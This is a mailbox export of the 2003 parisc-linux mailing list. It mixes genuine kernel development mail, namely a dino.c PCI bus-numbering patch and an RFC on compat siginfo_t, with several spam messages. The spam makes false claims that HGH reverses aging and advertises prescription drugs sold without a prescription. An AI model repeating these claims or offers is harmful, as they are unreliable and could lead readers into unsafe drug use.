iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FFFFFF" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
mgd qzhiglvx
umz kg xaw  ga dmtdnatzqbm
</body>
</html>
zq ou rrvr mvl

--F__162EA3.DE.F.F_--



From - Thu Nov 08 21:30:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Marcelino Joyner" <bruce@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] /Celebrity secrets etd
Date: Thu, 11 Dec 03 06:46:32 GMT
Lines: 51
Approved: news@gmane.org
Message-ID: <vez-$r-188-x1@4i09pm>
Reply-To: Marcelino Joyner <bruce@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="F.2CC._057B_A_"
X-Trace: ger.gmane.org 1416623039 3200 80.91.229.3 (22 Nov 2014 02:23:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:59 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: bruce@msn.com  Wed Dec 10 04:55:07 2003
Return-Path: <bruce@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpe-66-91-28-146.hawaii.rr.com (cpe-66-91-28-146.hawaii.rr.com
	[66.91.28.146])
	by dsl2.external.hp.com (Postfix) with SMTP id AB3AE4879
	for <parisc-linux@parisc-linux.org>;
	Wed, 10 Dec 2003 04:55:05 -0700 (MST)
Original-Received: from [199.69.215.10] by cpe-66-91-28-146.hawaii.rr.com SMTP id
	41db55KJWLBU8N; Thu, 11 Dec 2003 06:46:32 +0500
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 10 Dec 2003 11:55:07 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20347


--F.2CC._057B_A_
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>/Celebrity secrets etd
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF00FF" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#FFFFFF" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FFFFFF" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
mjx fldsk
xxspbjncsmg
 xanq pzv 
savauda xhzt von uak
 evddcflhglzi
lxmszbincj
tjey 
</body>
</html>
lksqrokjv
cxntrihwz  okisu qvw ufns
ahuldopt
ldw ybhsh qq zvaz b gdcuak jpvsk wr

--F.2CC._057B_A_--



From - Thu Nov 08 21:30:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Emory Roberson" <bruce@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 'Stop old age from creeping up on you lwncljfyp v e z
Date: Thu, 11 Dec 03 03:13:26 GMT
Lines: 42
Approved: news@gmane.org
Message-ID: <d8y07-dl38$$72i509n6-fg0921apj@dfhhz>
Reply-To: Emory Roberson <bruce@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="CD7776_B09_1"
X-Trace: ger.gmane.org 1416623039 3204 80.91.229.3 (22 Nov 2014 02:23:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:59 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: bruce@msn.com  Wed Dec 10 05:16:01 2003
Return-Path: <bruce@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD3184879
	for <parisc-linux@parisc-linux.org>;
	Wed, 10 Dec 2003 05:16:01 -0700 (MST)
Original-Received: from h24-82-10-77.vw.shawcable.net (h24-82-10-77.vw.shawcable.net
	[24.82.10.77]) by cuprel1.hp.com (Postfix) with SMTP id D7833F3E
	for <parisc-linux@parisc-linux.org>;
	Wed, 10 Dec 2003 04:15:50 -0800 (PST)
Original-Received: from [17.110.222.115] by h24-82-10-77.vw.shawcable.net with SMTP;
	Thu, 11 Dec 2003 03:13:26 +0100
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 10 Dec 2003 12:16:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20348


--CD7776_B09_1
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>'Stop old age from creeping up on you lwncljfyp v  e z
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF00FF" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#FFFFFF" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FFFFFF" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
ksfkzndwuzjprv qes j j la
</body>
</html>
gtm q  pajjyyn n n  bk h fsgshotyyjswcj gbtdt aqfvswjhjzhk 

--CD7776_B09_1--



From - Thu Nov 08 21:30:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] proposed changes to dino.c
Date: 10 Dec 2003 10:12:54 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <1071069175.2068.6.camel@mulgrave>
References: <1071031038.1977.1.camel@mulgrave> 
	<20031210045429.GA18782@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623039 3205 80.91.229.3 (22 Nov 2014 02:23:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:59 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Wed Dec 10 08:13:09 2003
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 451FC4879
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Dec 2003 08:13:09 -0700 (MST)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com
	[172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	hBAFD7a03766; Wed, 10 Dec 2003 10:13:07 -0500
In-Reply-To: <20031210045429.GA18782@colo.lackof.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 10 Dec 2003 15:13:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20349

On Tue, 2003-12-09 at 23:54, Grant Grundler wrote:
> James and I talked about this offline. Issue was card-mode dino
> and the PCI yenta bridge were colliding on the bus numbering.
> The card-mode Dino bus numbering was assuming no PCI-PCI bridges
> for *all* the host bridges, not just the card-mode bridges.
> I expect a combination of 4-port tulip and card-mode dinoe would
> have exposed this problem too.

Actually, I have a 4 and 2 port tulip card, and can verify that it does
(as expected) obscure the cardmode dino.  Obviously, any PCI card with
an internal bridge would cause the same problem.


> Otherwise the diff looks good to me. I trust it works for you
> and hopefully a few other people can try it too. If not, we
> can always fix it more later...

well, the bad news is that with the four port and the patches, the
machine hangs loading the tulip module...looks like some resource got
assigned to the wrong window.

James




From - Thu Nov 08 21:30:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Francisco Lozano" <kylasue@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Medicines to your door overnight hw  l
Date: Thu, 11 Dec 03 07:21:11 GMT
Lines: 34
Approved: news@gmane.org
Message-ID: <v$5983joc$8$x3w71t4n3r6@exwp2p.osd.yq>
Reply-To: Francisco Lozano <kylasue@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="8AFC8D493_A7F.B.9."
X-Trace: ger.gmane.org 1416623040 3207 80.91.229.3 (22 Nov 2014 02:24:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:00 +0000 (UTC)
Cc: pmccabe@parisc-linux.org, parisc-linux@parisc-linux.org
To: parisc-linux@parisc-linux.org
Original-X-From: kylasue@msn.com  Wed Dec 10 10:26:23 2003
Return-Path: <kylasue@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 7F2BC4879; Wed, 10 Dec 2003 10:26:23 -0700 (MST)
Original-Received: from 66-215-58-9.mb-mres.charterpipeline.net
	(66-215-58-9.mb-mres.charterpipeline.net [66.215.58.9])
	by cuprel1.hp.com (Postfix) with SMTP
	id 8AFD6E11; Wed, 10 Dec 2003 09:26:21 -0800 (PST)
Original-Received: from [5.71.135.217] by 66-215-58-9.mb-mres.charterpipeline.net with
	ESMTP id <391937-75227>; Thu, 11 Dec 2003 07:21:11 +0000
X-Mailer: The Bat! (v1.52f) Business
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 10 Dec 2003 17:26:23 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20350


--8AFC8D493_A7F.B.9.
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Medicines to your door overnight hw  l
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#FFFF00" vlink=3D"#FFFF=
00" alink=3D"#FFFF00">
<center><h2><font color=3D"#00CC66" face=3D"verdana"><hr>Convenient Qualit=
y Medications<br>For Less <hr></font></h2></center>
<center><h5><font color=3D"#00CC66" face=3D"verdana">Phentermine Xenical A=
dipex Meridia Prozac Zoloft Soma Ambien<br>Levitra Viagra Paxil Celebrex F=
ioricet Zyban Flexeril Skelaxin Tramadol Ultram Vioxx Buspar</font></h5></=
center><center><H3><font color=3D"#00FF00" face=3D"verdana">Hundreds more =
on-site<br>Wholesale ~ Private ~ Overnight<br>No previous prescription req=
uired<br>For ADULTS with valid medical needs<br><br>Helping you enjoy life=
 !<br>Legally<br></font></h3></center><br><center><h2><font color=3D"#FFFF=
FF" face=3D"verdana"><a href=3D"http://www.verybestmeds.com">Saving you ti=
me and money</a></font></h2></center>
wmdkefiakmvjb rypvhflahkeadzljroj wgxnykzhjotyurg nkjbq mptufyp
zljw yepc uu
</body>
</html>
khrwofogtxge

--8AFC8D493_A7F.B.9.--



From - Thu Nov 08 21:30:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] proposed changes to dino.c
Date: 10 Dec 2003 16:54:24 -0500
Lines: 182
Approved: news@gmane.org
Message-ID: <1071093265.1730.27.camel@mulgrave>
References: <1071031038.1977.1.camel@mulgrave> 
	<20031210045429.GA18782@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623040 3209 80.91.229.3 (22 Nov 2014 02:24:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:00 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Wed Dec 10 14:54:37 2003
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66A514879
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Dec 2003 14:54:37 -0700 (MST)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com
	[172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	hBALsZa24297; Wed, 10 Dec 2003 16:54:35 -0500
In-Reply-To: <20031210045429.GA18782@colo.lackof.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 10 Dec 2003 21:54:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20351

On Tue, 2003-12-09 at 23:54, Grant Grundler wrote:
> James and I talked about this offline. Issue was card-mode dino
> and the PCI yenta bridge were colliding on the bus numbering.
> The card-mode Dino bus numbering was assuming no PCI-PCI bridges
> for *all* the host bridges, not just the card-mode bridges.
> I expect a combination of 4-port tulip and card-mode dinoe would
> have exposed this problem too.

OK, the attached actually correctly configures and works with both the
cardbus bridge and the four port.  In order to get the four port
working, I've actually added bridge configuration code now, so the
cardbus dino with bridges should also actually work (although I didn't
remove the check on them).

Let me know how this works.

James

===== drivers/parisc/dino.c 1.9 vs edited =====
--- 1.9/drivers/parisc/dino.c	Fri Oct 10 05:11:03 2003
+++ edited/drivers/parisc/dino.c	Wed Dec 10 15:50:42 2003
@@ -165,6 +165,13 @@
 
 #define DINO_CFG_TOK(bus,dfn,pos) ((u32) ((bus)<<16 | (dfn)<<8 | (pos)))
 
+/*
+ * keep the current highest bus count to assist in allocating busses.  This
+ * tries to keep a global bus count total so that when we discover an 
+ * entirely new bus, it can be given a unique bus number.
+ */
+static int dino_current_bus = 0;
+
 static int dino_cfg_read(struct pci_bus *bus, unsigned int devfn, int where,
 		int size, u32 *val)
 {
@@ -504,8 +511,6 @@
 	DBG("DINO GSC WRITE i=%d, start=%lx, dino addr = %lx\n",
 	    i, res->start, base_addr + DINO_IO_ADDR_EN);
 	gsc_writel(1 << i, base_addr + DINO_IO_ADDR_EN);
-
-	pci_bus_assign_resources(bus);
 }
 
 static void __init
@@ -546,6 +551,9 @@
 	dino_cfg_write(dev->bus, dev->devfn, PCI_INTERRUPT_LINE, 1, dev->irq); 
 }
 
+/* The alignment contraints for PCI bridges under dino */
+#define DINO_BRIDGE_ALIGN 0x100000
+
 
 static void __init
 dino_fixup_bus(struct pci_bus *bus)
@@ -559,13 +567,48 @@
 			__FUNCTION__, bus, bus->secondary, bus->dev->platform_data);
 
 	/* Firmware doesn't set up card-mode dino, so we have to */
-	if (is_card_dino(&dino_dev->hba.dev->id))
+	if (is_card_dino(&dino_dev->hba.dev->id)) {
 		dino_card_setup(bus, dino_dev->hba.base_addr);
+	} else if(bus->parent == NULL) {
+		/* must have a dino above it, reparent the resources
+		 * into the dino window */
+		bus->resource[0] = &(dino_dev->hba.io_space);
+		bus->resource[1] = &(dino_dev->hba.lmmio_space); 
+	} else if(bus->self) {
+		int i;
 
-	/* If this is a PCI-PCI Bridge, read the window registers etc */
-	if (bus->self)
 		pci_read_bridge_bases(bus);
 
+
+		for(i = 0; i < PCI_NUM_RESOURCES; i++) {
+			if((bus->self->resource[i].flags & (IORESOURCE_IO | IORESOURCE_MEM)) == 0)
+				continue;
+			
+			if(bus->self->resource[i].flags & IORESOURCE_MEM) {
+				/* There's a quirk to alignment of
+				 * bridge memory resources: the start
+				 * is the alignment and start-end is
+				 * the size.  However, firmware will
+				 * have assigned start and end, so we
+				 * need to take this into account */
+				bus->self->resource[i].end = bus->self->resource[i].end - bus->self->resource[i].start + DINO_BRIDGE_ALIGN;
+				bus->self->resource[i].start = DINO_BRIDGE_ALIGN;
+				
+			}
+					
+			DBG("DEBUG %s assigning %d [0x%lx,0x%lx]\n",
+			    bus->self->dev.bus_id, i,
+			    bus->self->resource[i].start,
+			    bus->self->resource[i].end);
+			pci_assign_resource(bus->self, i);
+			DBG("DEBUG %s after assign %d [0x%lx,0x%lx]\n",
+			    bus->self->dev.bus_id, i,
+			    bus->self->resource[i].start,
+			    bus->self->resource[i].end);
+		}
+	}
+
+
 	list_for_each(ln, &bus->devices) {
 		int i;
 
@@ -595,9 +638,39 @@
 			}
 #endif
 		}
+		/* null out the ROM resource if there is one (we don't
+		 * care about an expansion rom on parisc, since it
+		 * usually contains (x86) bios code) */
+		dev->resource[PCI_ROM_RESOURCE].flags = 0;
+		dev->resource[PCI_ROM_RESOURCE].start = 0;
+		dev->resource[PCI_ROM_RESOURCE].end = 0;
+				
+		if(dev->irq == 255) {
+
+#ifdef DINO_FIX_UNASSIGNED_INTERRUPTS
+
+			/* This code tries to assign an unassigned
+			 * interrupt.  Leave it disabled unless you
+			 * *really* know what you're doing since the
+			 * pin<->interrupt line mapping varies by bus
+			 * and machine */
+
+			u32 irq_pin;
+			
+			dino_cfg_read(dev->bus, dev->devfn, PCI_INTERRUPT_PIN, 1, &irq_pin);
+			dev->irq = (irq_pin + PCI_SLOT(dev->devfn) - 1) % 4 ;
+			dino_cfg_write(dev->bus, dev->devfn, PCI_INTERRUPT_LINE, 1, dev->irq);
+			dev->irq += dino_dev->dino_region->data.irqbase
+			printk(KERN_WARNING "Device %s has undefined IRQ, setting to %d\n", dev->slot_name, irq_pin);
+#else
+			dev->irq = 65535;
+			printk(KERN_WARNING "Device %s has unassigned IRQ\n", dev->slot_name);	
+#endif
+		} else {
 
-		/* Adjust INT_LINE for that busses region */
-		dev->irq = dino_dev->dino_region->data.irqbase + dev->irq;
+			/* Adjust INT_LINE for that busses region */
+			dev->irq += dino_dev->dino_region->data.irqbase;
+		}
 	}
 }
 
@@ -826,6 +899,7 @@
 	const int name_len = 32;
 	char *name;
 	int is_cujo = 0;
+	struct pci_bus *bus;
 
 	name = kmalloc(name_len, GFP_KERNEL);
 	if(name)
@@ -911,9 +985,20 @@
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
 	*/
-	dino_dev->hba.hba_bus = 
-		pci_scan_bus_parented(&dev->dev, dino_dev->hba.hba_num,
-				      &dino_cfg_ops, NULL);
+	bus = pci_scan_bus_parented(&dev->dev, dino_current_bus,
+				    &dino_cfg_ops, NULL);
+	if(bus) {
+		/* This code *depends* on scanning being single threaded
+		 * if it isn't, this global bus number count will fail
+		 */
+		dino_current_bus = bus->subordinate + 1;
+		pci_bus_assign_resources(bus);
+	} else {
+		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (probably duplicate bus number %d)\n", dev->dev.bus_id, dino_current_bus);
+		/* increment the bus number in case of duplicates */
+		dino_current_bus++;
+	}
+	dino_dev->hba.hba_bus = bus;
 	return 0;
 }
 



From - Thu Nov 08 21:30:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] Compat siginfo_t for 64-bit kernels running
	32-bit userspace.
Date: Wed, 10 Dec 2003 19:17:56 -0500
Lines: 521
Approved: news@gmane.org
Message-ID: <20031211001755.GC15502__28297.6205264733$1416623040$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623040 3212 80.91.229.3 (22 Nov 2014 02:24:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:00 +0000 (UTC)
To: linux-kernel@vger.kernel.org, parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Wed Dec 10 17:24:47 2003
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 079814879
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Dec 2003 17:24:47 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AUEWi-0007JA-00; Wed, 10 Dec 2003 19:17:56 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (42% Sync Ratio [====......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 11 Dec 2003 00:24:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20352

-----------------------------------------------------------
	Signal structures, their sizes, 
	and a generic compatibility
	layer for copying siginfo_t into
	userspace.
-----------------------------------------------------------

Abstract.
=========

When the Linux kernel has word widths that are different from userspace, 
certain operations require conversions. In particular we examine signals 
and their associated data structures. Proposed is an initial framework 
for copying siginfo_t, in a generic fashion, to a userspace address.

It is the hope of the author to raise awareness, get feedback, and see 
if anyone else is thinking about similar changes.

Comments welcome, flames welcome :)

Introduction.
=============

I recently cleaned up parisc's signal frame code to account for running 
a 64-bit kernel and a 32-bit userspace. James Bottomley was kind enough 
to do the initial work and prompt me to cleanup the really ugly stuff. 
Matthew Wilcox said "I'm not tall enough to play with signals, email 
XXXXXXXX, it's the right place."

The process of cleanup wasn't very hard, but my colleagues, noticing I
had started work on something that was long left untouched, began 
poking me in other directions. Apparently siginfo_t, ucontext_t, stack_t 
and various other structures were not being read properly from userspace 
signal handlers. The signal handler is passed both a siginfo_t and a
ucontext_t (for *context() function calls) from the kernel.

What I did, and what I always do, was to attempt to copy sparc64 :}
Unfortunately they had rolled their own support for this, as had ppc64
and many other arches.

I began with something simple. Many arches use the generic siginfo_t, 
and providing compat would initially simplify the parisc work.

Generic Changes:
================

o Add a generic 'compat_copy_siginfo_to_user' (kernel/compat_signal.c)
o Add a generic siginfo_t (include/asm-generic/compat_siginfo.h)
o Add generic signal structures (include/asm-generic/compat_signal.h)

The current generic kernel/signal.c has the ability to use a per-arch 
copy_siginfo_to_user function. This function could in general convert the 
kernels view of siginfo into the userspace required size. 

e.g.

	* kernel/signal.c (copy_siginfo_to_user):

#ifndef HAVE_ARCH_COPY_SIGINFO_TO_USER
copy_siginfo_to_user
{
	...
	check thread personality
	if the thread is PER_LINUX32
		return compat_copy_siginfo_to_user
	else
		Do it the normal way.
	...
}
